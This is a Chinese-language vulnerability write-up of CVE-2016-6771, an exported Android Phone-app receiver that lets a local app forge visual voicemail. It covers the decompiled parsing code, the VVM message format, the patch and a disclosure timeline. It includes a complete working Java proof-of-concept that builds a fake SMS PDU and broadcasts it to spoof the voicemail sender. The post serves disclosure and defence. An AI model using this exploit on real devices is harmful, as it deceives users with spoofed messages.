CVE-2016-6771： Android语音信箱伪造漏洞分析

原文链接：https://security.tencent.com/index.php/blog/msg/110
谷歌近期对外公布了12月份的安全公告，其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771)，该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁，本文将对该漏洞进行分析。

漏洞概述

Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver，该组件接收来自外部的Intent,解析承载的VVM协议，构造语音信箱。该漏洞可以被本地恶意应用触发，进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。

漏洞详情

在对AOSP中系统应用进行分析时，发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件，该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件，回想起以前谷歌出现的短信伪造漏洞，于是决定尝试进行分析，看是否存在该类漏洞。

由于该组件是一个广播接收者，于是分析onReceive回调函数处理逻辑，代码如下：

public void onReceive(Context context, Intent intent) {this.mContext = context;this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone"));if(this.mPhoneAccount == null) {Log.w("OmtpMessageReceiver", "Received message for null phone account");return;}if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) {Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source.");return;}//开始解析intent，将intent承载的额外数据还原为SmsMessage（短信消息）SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent);StringBuilder v3 = new StringBuilder();int v0;//把短信消息的body提取出来并合并for(v0 = 0; v0 < v5.length; ++v0) {if(v5[v0].mWrappedSmsMessage != null) {v3.append(v5[v0].getMessageBody());}}//通过OmtpSmsParser.parse对短息消息的body（vvm协议）进行解析封装到对应处理类WrappedMessageData v4 = OmtpSmsParser.parse(v3.toString());//根据不同的协议执行不同功能if(v4 != null) {if(v4.getPrefix() == "//VVM:SYNC:") {SyncMessage v2 = new SyncMessage(v4);Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());this.processSync(v2);}else if(v4.getPrefix() == "//VVM:STATUS:") {Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId());LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId());this.updateSource(new StatusMessage(v4));}else {Log.e("OmtpMessageReceiver", "This should never have happened");}}}

1.当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候，会进入vvm协议的解析流程；
2.解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent，把intent里承载的额外数据构造成SmsMessage，通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构；

public static SmsMessage[] getMessagesFromIntent(Intent intent) {Object[] messages;try {//提取pdus原始数据messages = (Object[]) intent.getSerializableExtra("pdus");}catch (ClassCastException e) {Rlog.e(TAG, "getMessagesFromIntent: " + e);return null;}if (messages == null) {Rlog.e(TAG, "pdus does not exist in the intent");return null;}//获取短消息格式类型String format = intent.getStringExtra("format");int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY,SubscriptionManager.getDefaultSmsSubscriptionId());Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId);int pduCount = messages.length;SmsMessage[] msgs = new SmsMessage[pduCount];//构造短信消息for (int i = 0; i < pduCount; i++) {byte[] pdu = (byte[]) messages[i];msgs[i] = SmsMessage.createFromPdu(pdu, format);msgs[i].setSubId(subId);}return msgs;
}

3.从短信消息结构中提取出body部分，交由OmtpSmsParser.parse解析，流程如下：

package com.android.phone.vvm.omtp.sms;
import android.util.ArrayMap;
import android.util.Log;
import java.util.Map;
public class OmtpSmsParser {private static String TAG;static {OmtpSmsParser.TAG = "OmtpSmsParser";}public OmtpSmsParser() {super();}public static WrappedMessageData parse(String smsBody) {WrappedMessageData v4 = null;if(smsBody == null) {return v4;}WrappedMessageData v0 = null;//短息消息需要满足前缀if(smsBody.startsWith("//VVM:SYNC:")) {v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring("//VVM:SYNC:".length())));if(v0.extractString("ev") == null) {Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev");return v4;}}else if(smsBody.startsWith("//VVM:STATUS:")) {v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring("//VVM:STATUS:".length())));}return v0;}//前缀之后需要满足的消息结构private static Map parseSmsBody(String message) {ArrayMap v3 = new ArrayMap();String[] v0 = message.split(";");int v6 = v0.length;int v4;for(v4 = 0; v4 < v6; ++v4) {String[] v2 = v0[v4].split("=");if(v2.length == 2) {((Map)v3).put(v2[0].trim(), v2[1].trim());}}return ((Map)v3);}
}

通过分析解析流程，可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头，后面有多个字段，由“；”分号作为分割，“=”等号作为键值对，通过分析StatusMessage(v4)，SyncMessage(v4)的构造函数

public SyncMessage(WrappedMessageData wrappedData) {super();this.mSyncTriggerEvent = wrappedData.extractString("ev");this.mMessageId = wrappedData.extractString("id");this.mMessageLength = wrappedData.extractInteger("l");this.mContentType = wrappedData.extractString("t");this.mSender = wrappedData.extractString("s");this.mNewMessageCount = wrappedData.extractInteger("c");this.mMsgTimeMillis = wrappedData.extractTime("dt");}public StatusMessage(WrappedMessageData wrappedData) {super();this.mProvisioningStatus = wrappedData.extractString("st");this.mStatusReturnCode = wrappedData.extractString("rc");this.mSubscriptionUrl = wrappedData.extractString("rs");this.mServerAddress = wrappedData.extractString("srv");this.mTuiAccessNumber = wrappedData.extractString("tui");this.mClientSmsDestinationNumber = wrappedData.extractString("dn");this.mImapPort = wrappedData.extractString("ipt");this.mImapUserName = wrappedData.extractString("u");this.mImapPassword = wrappedData.extractString("pw");this.mSmtpPort = wrappedData.extractString("spt");this.mSmtpUserName = wrappedData.extractString("smtp_u");this.mSmtpPassword = wrappedData.extractString("smtp_pw");}

可以知道，程序要解析vvm协议如下：

//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx
//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx

4.根据vvm协议，构造不同的数据结构，最后根据不同的协议执行不同的流程。
5.在测试过程中，发现//VVM:SYNC可以指定来源，伪造任意号码。而如果要在进入可视化语音邮箱界面，点击播放语音时能够产生语音的下载，需要事先有//VVM:STATUS协议，这样在点击播放时才会去对应的服务器进行账号登录，获取数据（具体的测试本人并深入去测试，如有错误望大家指正），相关vvm协议可以参考资料[1]和[2]。

POC如下：

构造一个短信消息结构，其中body为符合相关解析流程的//VVM协议，就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中，较早版本的Android系统曾经出现过伪造短信的漏洞，直接利用那段代码[3]，构造短信消息可以。

@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);statusButton = (Button) findViewById(R.id.status_btn);syncButton = (Button) findViewById(R.id.sync_btn);statusButton.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View view) {//VVM:STATUS消息createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9");}});syncButton.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View view) {//VVM:SYNC消息createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;");}});}//构造短信消息private static void createFakeSms(Context context, String sender,String body) {byte[] pdu = null;byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);int lsmcs = scBytes.length;byte[] dateBytes = new byte[7];Calendar calendar = new GregorianCalendar();dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));try {ByteArrayOutputStream bo = new ByteArrayOutputStream();bo.write(lsmcs);bo.write(scBytes);bo.write(0x04);bo.write((byte) sender.length());bo.write(senderBytes);bo.write(0x00);bo.write(0x00); // encoding: 0 for default 7bitbo.write(dateBytes);try {String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";Class cReflectedNFCExtras = Class.forName(sReflectedClassName);Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[] { String.class });stringToGsm7BitPacked.setAccessible(true);byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,body);bo.write(bodybytes);} catch (Exception e) {}pdu = bo.toByteArray();} catch (IOException e) {}//构造待发送的intentIntent intent = new Intent();intent.setClassName("com.android.phone","com.android.phone.vvm.omtp.sms.OmtpMessageReceiver");intent.putExtra("phone",0);intent.putExtra("pdus", new Object[] { pdu });intent.putExtra("format", "3gpp");context.sendBroadcast(intent);}private static byte reverseByte(byte b) {return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) <<4);}

实际效果

可以伪造语音信箱来源为12345678，欺骗用户

修复方案
谷歌的修复方案是设置该组件为不导出
https://android.googlesource.com/platform/packages/services/Telephony/+/a39ff9526aee6f2ea4f6e02412db7b33d486fd7d

时间线
• 2016.09.17 提交漏洞报告至Android issue Tracker
• 2016.10.04 确认漏洞，ANDROID-31566390
• 2016.10.27 分配CVE-2016-6771
• 2016.12.06 谷歌公告

参考
[1].https://shubs.io/breaking-international-voicemail-security-via-vvm-exploitation/
[2].http://www.gsma.com/newsroom/wp-content/uploads/2012/07/OMTP_VVM_Specification13.pdf
[3].(http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp)

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